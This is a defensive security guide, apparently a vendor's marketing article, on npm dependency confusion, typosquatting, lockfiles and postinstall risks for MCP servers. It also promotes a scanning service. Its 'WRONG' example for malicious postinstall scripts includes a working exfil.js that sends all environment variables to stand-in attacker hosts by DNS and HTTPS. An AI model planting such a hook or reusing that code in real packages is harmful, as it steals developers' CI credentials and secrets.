Topic: mcp server dependency confusion security

MCP server dependency confusion security — npm namespace squatting, internal package attacks, and supply-chain isolation

Dependency confusion attacks exploit the gap between internal package registries and public npm: an attacker registers a package with the same name as your private internal library on the public registry at a higher version number, and npm resolves it first. For MCP servers that run with access to secrets, filesystems, and external APIs, a single confused dependency installs a backdoor with the same trust level as your production code — and runs at install time, before any runtime security controls apply.

Pattern 1: Dependency confusion via public registry namespace squatting

The classic dependency confusion attack targets scoped internal packages. A team develops @acme/db-client for internal use and serves it from a private Artifactory or Verdaccio instance. But the @acme scope is not reserved on public npm — any attacker can register @acme/db-client there with version 9.9.9, higher than any internal build. When npm install queries both registries (the default when .npmrc only sets a fallback registry), it picks the higher version from public npm. The malicious package's postinstall script runs immediately with full access to CI environment variables including tokens, credentials, and cloud provider keys.

WRONG — registry resolution falls through to public npm for the internal scope:

# .npmrc — only sets default registry; does NOT restrict @acme scope
registry=https://npm.your-registry.internal

# Internal package's package.json — no "private" guard, no publishConfig scope lock
{
  "name": "@acme/db-client",
  "version": "1.4.2"
}

# Consumer's package.json — caret range allows any matching newer version
{
  "dependencies": {
    "@acme/db-client": "^1.4.0"
  }
}

# Attack: adversary publishes to public npm:
#   { "name": "@acme/db-client", "version": "9.9.9",
#     "scripts": { "postinstall": "node -e 'require(\"https\").get(...)'" } }
#
# npm resolves 9.9.9 > 1.4.2 — attacker wins on next "npm install".

RIGHT — scope pinned exclusively to private registry; package marked private to block re-publication:

# .npmrc — scope-specific registry mapping blocks public fallthrough entirely
# Place this in the project root AND the internal package's own directory
@acme:registry=https://npm.your-registry.internal
//npm.your-registry.internal/:always-auth=true
//npm.your-registry.internal/:_authToken=${CORP_NPM_TOKEN}

# Internal package's package.json — "private" prevents accidental public publish;
# publishConfig enforces registry and restricted access even if run manually
{
  "name": "@acme/db-client",
  "version": "1.4.2",
  "private": true,
  "publishConfig": {
    "registry": "https://npm.your-registry.internal",
    "access": "restricted"
  }
}

# Consumer's package.json — exact pin for security-critical internal packages
{
  "dependencies": {
    "@acme/db-client": "1.4.2"
  }
}

# With @acme:registry set to the private registry, npm NEVER queries public npm
# for any @acme/* package. A squatted public version is completely unreachable.
# Verify the mapping is active:
npm config get @acme:registry   # should print https://npm.your-registry.internal

Note that "private": true alone only prevents the package itself from being published to any registry. It does not affect how consumers resolve it. The .npmrc scope mapping in the consumer project is the control that matters — it tells npm's resolution algorithm to never query public npm for @acme/* packages. Both controls are needed: "private": true prevents internal packages from being accidentally pushed to npm, and the consumer's .npmrc mapping prevents a squatted public version from ever being considered.

Pattern 2: Typosquatting on direct dependencies

Typosquatting targets packages with names visually or phonetically similar to well-known libraries. Attackers register names like expresss (extra s), 1odash (digit one replacing lowercase L), cross-env2, nodemon2, or @types/node-fetch2 on public npm. A developer mistyping during npm install installs the malicious package silently. Unlike namespace squatting, typosquatting works even when you have no internal packages — it targets every project that installs common dependencies. MCP servers are high-value targets because their npm install often runs in CI environments loaded with secrets.

WRONG — typo installs squatted package; CDN asset has no integrity verification:

# Developer types one extra 's' in terminal — installs attacker-controlled package:
npm install expresss

# package.json now records the typo permanently:
{
  "dependencies": {
    "expresss": "^4.18.0"   // NOT express — resolves to the squatted package
  }
}

# Code review may not catch this — "expresss" looks plausible at a glance.
# The malicious package's postinstall fires during npm install:
#   process.env.AWS_SECRET_ACCESS_KEY exfiltrated via DNS or HTTPS

# CDN asset without integrity check — any CDN compromise delivers arbitrary JS:
<script src="https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js"></script>

RIGHT — verify package name before install; lock exact versions; SRI on all CDN assets:

# Before installing any new package, verify it exists and check its history:
npm info express | grep -E "name:|version:|created:|weekly downloads"
# Expect: a well-known package with years of history and millions of downloads.
# A package with 0 downloads and a creation date of yesterday is a red flag.

# Use exact version pins — no ^ or ~ — for all direct production dependencies:
{
  "dependencies": {
    "express": "4.18.2",    // exact; no caret
    "zod":     "3.22.4"     // exact; no tilde
  }
}

# Always use npm ci (not npm install) in automated environments:
# npm ci requires package-lock.json, installs the exact locked versions,
# and refuses to run if lockfile is absent or inconsistent with package.json.
npm ci --ignore-scripts

# For any CDN asset, generate and include a Subresource Integrity (SRI) hash.
# The browser refuses to execute the script if the hash does not match:
<script
  src="https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js"
  integrity="sha256-7/yoZS3548fXSRXqc/xYzqZoLgs/ObgMKbgbJ58AJoI="
  crossorigin="anonymous"></script>

# Generate SRI hashes locally from a downloaded copy of the asset:
openssl dgst -sha256 -binary lodash.min.js | openssl base64 -A | \
  sed 's/^/sha256-/'
# Output: sha256-7/yoZS3548fXSRXqc/xYzqZoLgs/ObgMKbgbJ58AJoI=

The npm ci command is categorically safer than npm install for all automated installs. It never updates the lockfile, always installs exactly the version and tarball hash recorded in package-lock.json, and fails the build hard if lockfile and package.json disagree. Reserve npm install for the local workflow of intentionally updating dependencies.

Pattern 3: Missing or uncommitted package-lock.json

A floating version range like "axios": "^1.6.0" permits npm to install any version from 1.6.0 up to (but not including) 2.0.0. Without a committed lockfile, every npm install re-resolves the entire dependency tree against the current registry state. An attacker who publishes a malicious axios@1.7.9 — by compromising the maintainer's npm account, by registering a namespace squatter, or by waiting for a minor-version slot — gets code execution on every subsequent install in your pipeline with no change to your repository. The attack is invisible in your git history.

WRONG — lockfile absent or gitignored; floating ranges allow silent version drift:

# .gitignore — lockfile excluded from version control (extremely common mistake)
node_modules/
package-lock.json     # WRONG: committing this file is a security requirement

# package.json with floating ranges — resolves to "latest compatible" on each install:
{
  "dependencies": {
    "axios":   "^1.6.0",    // any 1.x.x >= 1.6.0 — resolved fresh each build
    "express": "~4.18.0",   // any 4.18.x
    "dotenv":  "*"          // literally any version — extremely dangerous
  }
}

# CI pipeline re-resolves on every run:
- name: Install
  run: npm install        # no lockfile means no deterministic resolution
                           # a newly published malicious 1.x.x version installs silently

RIGHT — lockfile committed; exact version pins; npm ci enforced in all automation:

# .gitignore — ONLY exclude node_modules, never the lockfile
node_modules/
# DO NOT add package-lock.json here

# package.json — exact pins for security-critical direct dependencies:
{
  "dependencies": {
    "axios":   "1.6.8",      // exact — no range operator
    "express": "4.18.2",     // exact
    "dotenv":  "16.4.5"      // exact
  }
}

# Generate the lockfile and commit it to source control:
npm install                          # generates package-lock.json
git add package.json package-lock.json
git commit -m "chore: pin dependencies and commit lockfile"

# CI pipeline — use npm ci exclusively:
- name: Install dependencies (CI)
  run: npm ci --ignore-scripts      # fails the build if lockfile is missing or stale

# Dockerfile — same pattern:
COPY package.json package-lock.json ./
RUN npm ci --ignore-scripts --omit=dev

# The package-lock.json records a sha512 integrity hash for every package tarball.
# npm ci verifies each download against that hash before executing any code.
# Example lockfile entry:
# "node_modules/axios": {
#   "version": "1.6.8",
#   "resolved": "https://registry.npmjs.org/axios/-/axios-1.6.8.tgz",
#   "integrity": "sha512-v/ZHtJkdoSclNNm1FdV4T0FdHjJmUFXhAsKhrMOaOQobGkTZlBBWNiCJ5d6f0cPb20p3jIDhHGMx87u2bzr0A=="
# }

The lockfile is not optional for security-conscious MCP server deployments — it is a security control. The sha512 hash in each lockfile entry means that even if a registry CDN is compromised and a tarball is silently replaced with a malicious version at the same version number, npm ci will detect the hash mismatch and refuse to install. Automate lockfile updates via Dependabot or Renovate so that upgrade PRs get security review before merging.

Pattern 4: Malicious postinstall scripts

npm's lifecycle scripts — preinstall, install, postinstall, and prepare — execute arbitrary shell commands with the permissions of whoever ran npm install. In a CI/CD environment that runner typically has access to secrets via environment variables: AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, NPM_TOKEN, database connection strings. A malicious package can exfiltrate the entire process.env object with a single node -e call in its postinstall script, and this fires automatically as part of a normal install — before any runtime security controls, before the MCP server process starts, before any audit log entry is written.

WRONG — production install runs lifecycle scripts; no audit of transitive hooks:

// A compromised or squatted package's package.json:
{
  "name": "some-build-helper",
  "version": "2.3.1",
  "scripts": {
    "postinstall": "node exfil.js"
  }
}

// exfil.js — runs immediately on npm install in CI:
const https = require('https');
const dns   = require('dns');

// DNS exfiltration bypasses HTTP egress filters common in CI environments:
const payload = Buffer.from(JSON.stringify(process.env))
  .toString('base64').replace(/[^a-z0-9]/gi, '').slice(0, 60);
dns.lookup(`${payload}.c2.attacker.example`, () => {});

// Direct HTTPS as backup:
const body = JSON.stringify({ env: process.env, cwd: process.cwd() });
const req = https.request({
  hostname: 'collect.attacker.example', path: '/in', method: 'POST',
  headers: { 'Content-Type': 'application/json', 'Content-Length': body.length }
});
req.write(body);
req.end();

// CI pipeline running npm install (not npm ci, scripts not suppressed):
- name: Install
  run: npm install     // postinstall fires here — all env vars including secrets exfiltrated

RIGHT — scripts disabled for all automated installs; new deps audited for hooks before adding:

# All CI and production installs use --ignore-scripts:
npm ci --ignore-scripts

# Dockerfile production install:
RUN npm ci --ignore-scripts --omit=dev

# Before adding any new dependency, inspect its lifecycle scripts and those
# of all packages it would pull in transitively:

# Option 1: install in a throwaway directory with scripts enabled, then inspect:
mkdir /tmp/dep-audit && cd /tmp/dep-audit
npm init -y
npm install some-build-helper --ignore-scripts   # install without running scripts
# Now examine every package in node_modules for lifecycle hooks:
node -e "
const fs = require('fs');
const base = './node_modules';
for (const pkg of fs.readdirSync(base)) {
  try {
    const p = JSON.parse(fs.readFileSync(\`\${base}/\${pkg}/package.json\`, 'utf8'));
    const hooks = ['preinstall','install','postinstall','prepare','prepack','postpack'];
    const found = hooks.filter(h => p.scripts?.[h]);
    if (found.length) console.log(pkg, '->', found.map(h => p.scripts[h]));
  } catch {}
}
"

# Option 2: use npm query to list packages with scripts (npm >= 8):
npm query ':attr(scripts, [postinstall])' 2>/dev/null

# If a package legitimately needs a lifecycle script (e.g., bcrypt compiling native addon),
# explicitly document the exception and pin to an exact reviewed version:
{
  "dependencies": {
    "bcrypt": "5.1.1"
  }
}
# Add a comment in SECURITY.md or package.json notes:
# "bcrypt@5.1.1 — postinstall compiles native N-API binding only.
#  Reviewed 2026-06-11. Re-review on each version bump."

The --ignore-scripts flag also suppresses prepare, which some packages (particularly those distributed as TypeScript source) use to compile themselves. Evaluate each such package individually. For native addons like bcrypt or argon2, prefer pre-built binary distributions — both ship pre-compiled binaries for all major platforms via node-pre-gyp, so compilation (and therefore postinstall execution) is only triggered when no pre-built binary matches the platform. If you must allow a specific package's scripts, consider using npm's --ignore-scripts with an explicit allowlist approach, or run the install in a network-isolated sandbox container that cannot exfiltrate data even if a script attempts it.

How SkillAudit detects dependency confusion

SkillAudit's static analysis scans your MCP server repository for dependency confusion indicators across all four attack surfaces. It checks whether package-lock.json is present and consistent with package.json, flags projects where CI configuration files (.github/workflows/*.yml, Dockerfile, Makefile) invoke npm install rather than npm ci, and identifies floating version ranges (^, ~, *, or latest) on direct production dependencies. For scoped packages, it verifies that .npmrc contains scope-to-registry mappings for any @scope/ package names that appear to be internal. Packages with postinstall, preinstall, or prepare lifecycle scripts in the dependency tree are listed by name; severity is elevated when the install command in CI does not include --ignore-scripts.

Dependency confusion findings carry high severity in the supply-chain security scoring axis — an exploited confused dependency gives an attacker code execution at the same trust level as your entire MCP server process, including all tool permissions, filesystem access, and secrets available to the MCP host. Run a free scan at skillaudit.dev to get a full dependency confusion report alongside authentication, injection, and permissions findings for your MCP server.

Check your MCP server's dependency tree for namespace squatting, typosquatting, and postinstall risks.

Run a free audit →